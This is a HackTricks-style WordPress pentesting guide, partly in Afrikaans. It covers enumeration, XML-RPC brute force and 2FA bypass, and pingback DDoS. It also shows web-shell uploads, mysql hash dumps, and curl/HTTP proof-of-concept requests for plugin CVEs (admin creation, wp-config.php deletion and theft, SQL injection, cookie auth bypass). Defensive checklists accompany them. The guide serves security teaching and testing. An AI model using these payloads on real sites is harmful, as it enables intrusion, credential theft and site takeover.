Wordpress
Reading time: 34 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
-
Uploaded lĂȘers gaan na:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php kan jy die root-wagwoord van die databasis vind.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtbevat nuttige inligting soos die WordPress weergawe wat geĂŻnstalleer is.wp-activate.phpword gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.- Login folders (may be renamed to hide it):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpis 'n lĂȘer wat 'n funksie van WordPress voorstel wat toelaat dat data gestuur word met HTTP as die vervoermeganisme en XML as die enkoderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.- Die
wp-contentgids is die hoofgids waar plugins en temas gestoor word. wp-content/uploads/is die gids waar enige lĂȘers wat na die platform opgelaai is gestoor word.wp-includes/is die gids waar kernlĂȘers gestoor word, soos sertifikate, lettertipes, JavaScript-lĂȘers, en widgets.wp-sitemap.xmlIn WordPress weergawes 5.5 en later genereer WordPress 'n sitemap XML-lĂȘer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieĂ«.
Post exploitation
- Die
wp-config.phplĂȘer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en -soute, en die databasis-tafelvoorvoegsel. Hierdie konfigurasielĂȘer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing.
Gebruikerstoestemmings
- Administrator
- Editor: Publiseer en bestuur sy eie en ander se plasings
- Author: Publiseer en bestuur sy eie plasings
- Contributor: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
- Subscriber: Blaai deur plasings en wysig hul profiel
Passive Enumeration
Get WordPress version
Kyk of jy die lĂȘers /license.txt of /readme.html kan vind
Inside the source code of the page (example from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS link-lĂȘers
.png)
- JavaScript-lĂȘers
.png)
Kry Inproppe
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Onttrek weergawes in die algemeen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktiewe enumerasie
Plugins and Themes
Jy sal waarskynlik nie in staat wees om al die Plugins en Themes te vind nie. Om almal te ontdek, sal jy actively Brute Force a list of Plugins and Themes moet uitvoer (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat).
Gebruikers
- ID Brute: Jy kry geldige gebruikers van 'n WordPress site deur Brute Forcing users IDs:
curl -s -I -X GET http://blog.example.com/?author=1
As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, dan is die id ongeldig.
- wp-json: Jy kan ook probeer om inligting oor die gebruikers te kry deur te query:
curl http://blog.example.com/wp-json/wp/v2/users
Nog 'n /wp-json/ endpoint wat sommige inligting oor users kan openbaar is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n post gemaak het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal voorsien word.
Neem ook kennis dat /wp-json/wp/v2/pages IP-adresse kan leak.
- Login username enumeration: Wanneer aan te meld by
/wp-login.phpis die boodskap verskillend, wat aandui of die username bestaan of nie.
XML-RPC
As xml-rpc.php aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer deur hierdie te gebruik).
Om te sien of dit aktief is, probeer toegang tot /xmlrpc.php kry en stuur hierdie versoek:
Kontroleer
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Aanmeldbewyse Bruteforce
wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is 'n paar van die metodes wat gebruik kan word om aanmeldbewyse te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Incorrect username or password" binne 'n 200 code response moet verskyn as die credentials nie geldig is nie.
%20(2)%20(2)%20(2)%20(2)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(2)%20(4)%20(1).png)
.png)
Deur die regte credentials te gebruik kan jy 'n lĂȘer oplaai. In die response sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Daar is ook 'n vinnigere manier om inlogbesonderhede te brute-force gebruikende system.multicall, aangesien jy verskeie inlogbesonderhede in dieselfde versoek kan probeer:
.png)
Omseil 2FA
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige inlogbesonderhede het maar die hooftoegang is beskerm deur 2FA, mag jy xmlrpc.php misbruik om met daardie inlogbesonderhede in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies wat jy deur die konsol kan doen sal kan uitvoer nie, maar jy kan steeds tot RCE raak soos Ippsec verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS of port scanning
As jy die metode pingback.ping binne die lys kan vind, kan jy Wordpress laat 'n ewekansige versoek na enige host/poort stuur.
Dit kan gebruik word om duisende Wordpress sites te vra om een lokasie te access (sodat 'n DDoS by daardie lokasie veroorsaak word) of jy kan dit gebruik om Wordpress 'n interne network te laat scan (jy kan enige poort aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode kry met 'n waarde groter as 0 (17), beteken dit die poort is oop.
Kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Hierdie lĂȘer bestaan gewoonlik in die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lĂȘer geopen word, word 'n "sware" MySQL query uitgevoer, dus kan dit deur attackers gebruik word om 'n DoS te veroorsaak.
Verder word standaard die wp-cron.php by elke bladsy-laai aangeroep (enige keer 'n kliënt enige Wordpress-bladsy versoek), wat op webwerwe met hoë verkeer probleme (DoS) kan veroorsaak.
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om toegang te kry tot https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net en die Wordpress-webwerf mag 'n versoek na jou stuur.
This is the response when it doesn't work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Hierdie tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.
Outomatiese Gereedskap
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Kry toegang deur 'n bit oor te skryf
Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lĂȘer omdraai. Dus kon jy die posisie 5389 van die lĂȘer /var/www/html/wp-includes/user.php omdraai om die NOT (!) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Wysig 'n php-lĂȘer van die gebruikte theme (admin credentials nodig)
Appearance â Theme Editor â 404 Template (aan die regterkant)
Verander die inhoud na 'n php shell:
.png)
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
om 'n session te kry.
Plugin RCE
PHP plugin
Dit kan moontlik wees om .php-lĂȘers as 'n plugin op te laai.
Skep jou php backdoor byvoorbeeld soos:
.png)
Voeg dan 'n nuwe plugin by:
.png)
Laai die plugin op en druk Install Now:
.png)
Klik op Procced:
.png)
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai:
.png)
Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
.png)
Uploading and activating malicious plugin
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:
- Plugin Acquisition: Die plugin word verkry van 'n bron soos Exploit DB, byvoorbeeld here.
- Plugin Installation:
- Navigeer na die WordPress dashboard, dan gaan na
Dashboard > Plugins > Upload Plugin. - Laai die zip-lĂȘer van die afgelaaide plugin op.
- Plugin Activation: Sodra die plugin suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
- Exploitation:
- Met die plugin "reflex-gallery" geĂŻnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die webwerf gee.
- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard vir die installering en aktivering van die plugin uitbeeld. Dit is egter belangrik om te noem dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos pentesting met uitdruklike toestemming.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
Van XSS na RCE
- WPXStrike: WPXStrike is 'n script ontwerp om 'n Cross-Site Scripting (XSS) kwetsbaarheid op te skaal na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien this post. Dit bied support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Skep 'n gebruiker in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Laai jou custom plugin (backdoor) na WordPress op.
- (RCE) Built-In Plugin Edit: Wysig 'n Built-In Plugin in WordPress.
- (RCE) Built-In Theme Edit: Wysig 'n Built-In Theme in WordPress.
- (Custom) Custom Exploits: Custom Exploits vir derdeparty WordPress plugins/themes.
Post Exploitation
Haal gebruikersname en wagwoorde uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin-wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in this blog post.
wp_ajax
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel is via AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Verder gebeur dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n wordpress nonce wat enige gebruiker wat in die Wordpress instance geauthentiseer is mag hĂȘ (onafhanklik van hul rol).
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die gebruik van nopriv maak die endpoint toeganklik vir enige gebruikers (selfs nie-geauthentiseerde gebruikers).
caution
Daarbenewens, as die funksie slegs die autorisasie van die gebruiker nagaan met die funksie wp_verify_nonce, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan lae-geprivilegieerde gebruikers toegang hĂȘ tot hoog-geprivilegieerde aksies.
- REST API
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Die permission_callback is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
As die ingeboude __return_true funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.
- Direkte toegang tot die PHP-lĂȘer
Natuurlik gebruik Wordpress PHP en lĂȘers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lĂȘer getrigger word, sal dit deur enige gebruiker uitgebuit kan word.
Trusted-header REST impersonation (WooCommerce Payments †5.6.1)
Sommige plugins implementeer âtrusted headerâ-kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en gemagtigde REST-roetes as 'n administrator bereik.
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(dwing gebruiker-ID 1 af, tipies die eerste administrateurrekening). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Waarom dit werk
- Die plugin map ân client-controlled header na authentication state en slaan capability checks oor.
- WordPress core verwag
create_userscapability vir hierdie roete; die plugin hack omseil dit deur die current user context direk vanaf die header te stel.
Verwagte sukses-aanwysers
- HTTP 201 met ân JSON-body wat die geskepte gebruiker beskryf.
- ân nuwe admin gebruiker sigbaar in
wp-admin/users.php.
Opsporingskontrolelys
- Grep vir
getallheaders(),$_SERVER['HTTP_...'], of vendor SDKs wat custom headers lees om user context te stel (bv.wp_set_current_user(),wp_set_auth_cookie()). - Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste
permission_callbackkontroles het nie en eerder op request headers staatmaak. - Soek na gebruike van core user-management funksies (
wp_insert_user,wp_create_user) binne REST handlers wat slegs deur header-waardes beperk word.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress temas en plugins maak gereeld AJAX handlers beskikbaar deur die wp_ajax_ en wp_ajax_nopriv_ hooks. Wanneer die nopriv variant gebruik word word die callback deur nie-geauthentiseerde besoekers bereikbaar, dus moet enige sensitiewe aksie bykomend die volgende implementeer:
- ân capability check (bv.
current_user_can()of ten minsteis_user_logged_in()), en - ân CSRF nonce gevalideer met
check_ajax_referer()/wp_verify_nonce(), en - Streng invoer-sanitisasie / validasie.
Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die Remove Font Family funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) meegestuur:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme wat deur hierdie kodefragment veroorsaak word:
- Ongeverifieerde toegang â die
wp_ajax_nopriv_hook is geregistreer. - Geen nonce / capability check â enige besoeker kan die endpoint aanroep.
- Geen pad-sanitisasie â die gebruikersbeheerde
fontfamilystring word aan 'n lĂȘerstelselpad gekonkateneer sonder filtrering, wat klassieke../../traversal toelaat.
Exploitation
'n aanvaller kan enige lĂȘer of gids onder die uploads base directory (gewoonlik <wp-root>/wp-content/uploads/) uitvee deur 'n enkele HTTP POST versoek te stuur:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Omdat wp-config.php buite uploads lĂȘ, is vier ../ reekse genoeg op 'n standaard installasie. Deleting wp-config.php dwing WordPress by die volgende besoek in die installasie-wizard, wat 'n volledige site take-over moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
Ander impakvolle teikens sluit plugin/theme .php-lĂȘers (om sekuriteits-plugins te breek) of .htaccess reĂ«ls in.
Opsporingskontrollys
- Enige
add_action( 'wp_ajax_nopriv_...')callback wat filesystem helpers oproep (copy(),unlink(),$wp_filesystem->delete(), ens.). - Samevoeging van nie-gefiltreerde gebruikersinsette in paaie (kyk vir
$_POST,$_GET,$_REQUEST). - Afwesigheid van
check_ajax_referer()encurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Baie plugins implementeer 'n "view as role" of tydelike rolwissel-funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. $_REQUEST['reset-for']) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te verifieer, word dit 'n vertical privilege escalation.
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (†7.6.2.1). Die reset-branch herstel rolle gebaseer op reset-for=<username> as die gebruikersnaam in 'n interne array $options['viewing_admin_as_role_are'] verskyn het, maar het nie 'n current_user_can() kontrole uitgevoer nie en ook nie 'n nonce-verifikasie gedoen voordat die huidige rolle verwyder en die gestoor rolle uit user meta _asenha_view_admin_as_original_roles weer bygevoeg is:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Hoekom dit uitbuitbaar is
- Vertrou
$_REQUEST['reset-for']en 'n plugin-opsie sonder magtiging aan die bedienerzijde. - As 'n gebruiker voorheen hoër voorregte gehad het wat in
_asenha_view_admin_as_original_rolesgestoor is en afgradeer is, kan hulle dit herstel deur die reset-pad te gebruik. - In sommige ontplooiings kan enige geverifieerde gebruiker 'n reset veroorsaak vir 'n ander gebruikersnaam wat nog in
viewing_admin_as_role_areteenwoordig is (gebreekte magtiging).
Uitbuiting (voorbeeld)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle (bv. administrator) weer by, wat effektief privilegieë eskaleer.
Opsporingskontrolelys
- Kyk na rol-wissel funksies wat "original roles" in user meta behou (bv.
_asenha_view_admin_as_original_roles). - Identifiseer reset/restore-paaie wat:
- Lees gebruikersname uit
$_REQUEST/$_GET/$_POST. - Wysig rolle via
add_role()/remove_role()sondercurrent_user_can()enwp_verify_nonce()/check_admin_referer(). - Machtig gebaseer op 'n plugin-opsie-array (bv.
viewing_admin_as_role_are) in plaas van die akteur se bevoegdhede.
Ongeauthentiseerde privilegie-eskalering via koekieâvertroude gebruikerswisseling op openbare init (Service Finder âsf-bookingâ)
Sommige plugins koppel hulpfunksies vir gebruikerswisseling aan die openbare init hook en bepaal identiteit uit 'n kliënt-beheerde koekie. As die kode wp_set_auth_cookie() aanroep sonder om authentisering, bevoegdhede en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om in te teken as 'n ewekansige gebruikers-ID.
Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings †6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // đ„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Waarom dit uitbuitbaar is
- Publieke
inithook maak die handler bereikbaar vir ongeauthentiseerde gebruikers (geenis_user_logged_in()kontrole). - Identiteit word afgelei van 'n deur die kliënt wysigbare cookie (
original_user_id). - Direkte oproep na
wp_set_auth_cookie($uid)meld die versoeker aan as daardie gebruiker sonder enige capability/nonce kontroles.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-oorwegings vir WordPress/plugin CVEs
Generiese edge/server WAFs is gekalibreer vir breĂ« patrone (SQLi, XSS, LFI). Baie hoĂ«âimpak WordPress/pluginâfoute is aansoekâspesifieke logika/authâbugs wat soos onskuldige verkeer lyk tensy die engine WordPressâroetes en pluginâsemantiek verstaan.
Offensiewe notas
- Teiken pluginâspesifieke eindpunte met skoon payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Gebruik eers unauthâpade (AJAX
nopriv, REST met permissiewepermission_callback, publieke shortcodes). Standaard payloads slaag dikwels sonder obfuskasie. - Tipiese hoĂ«âimpak gevalle: privilege escalation (broken access control), arbitĂȘre lĂȘerâupload/download, LFI, open redirect.
Verdedigende notas
- Moet nie staatmaak op generiese WAFâhandtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheidâspesifieke virtuele pleisters of werk vinnig op.
- Verkies positiveâsecurity kontroles in kode (capabilities, nonces, streng invoerâvalidasie) bo negatiewe regexâfilters.
WordPress-beskerming
Gereelde opdaterings
Maak seker WordPress, plugins en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installeer ook slegs betroubare WordPress-plugins en -themes.
Sekuriteits-plugins
Ander Aanbevelings
- Verwyder die standaard admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Hersien periodiek gebruikers se permissions
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
- Hernoem die
wp-admin.phplĂȘer en laat slegs toegang toe vanaf interne netwerke of van sekere IP-adresse.
Nie-geauthentiseerde SQL Injection as gevolg van onvoldoende validering (WP Job Portal <= 2.3.2)
Die WP Job Portal recruitment plugin het 'n savecategory taak blootgestel wat uiteindelik die volgende kwesbare kode binne modules/category/model.php::validateFormData() uitvoer:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme wat deur hierdie snipet geskep word:
- Ongefiltreerde gebruikersinvoer â
parentidkom direk uit die HTTP-versoek. - String-samevoeging binne die WHERE-clausule â geen
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability â alhoewel die aksie uitgevoer word deur
admin-post.php, is die enigste kontrole in plek 'n CSRF nonce (wp_verify_nonce()), wat enige besoeker kan bekom vanaf 'n openbare bladsy wat die shortcode[wpjobportal_my_resumes]insluit.
Exploitation
- Haal 'n vars nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inject arbitrary SQL by abusing
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die reaksie openbaar die resultaat van die ingespuite navraag of verander die databasis, wat SQLi bewys.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Nog 'n taak, downloadcustomfile, het besoekers toegelaat om enige lĂȘer op die skyf af te laai via path traversal. Die kwesbare sink is geleĂ« in modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name is deur 'n aanvaller beheer en aaneengekoppel sonder sanitisering. Weereens is die enigste hek 'n CSRF nonce wat vanaf die CV-bladsy verkry kan word.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Die bediener reageer met die inhoud van wp-config.php, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Baie themes/plugins lewer "social login" helpers wat via admin-ajax.php blootgestel word. As an unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n full authentication bypass.
Tipiese foutiewe patroon (vereenvoudigde weergawe)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider â execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // đ„ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Waarom dit uitbuitbaar is
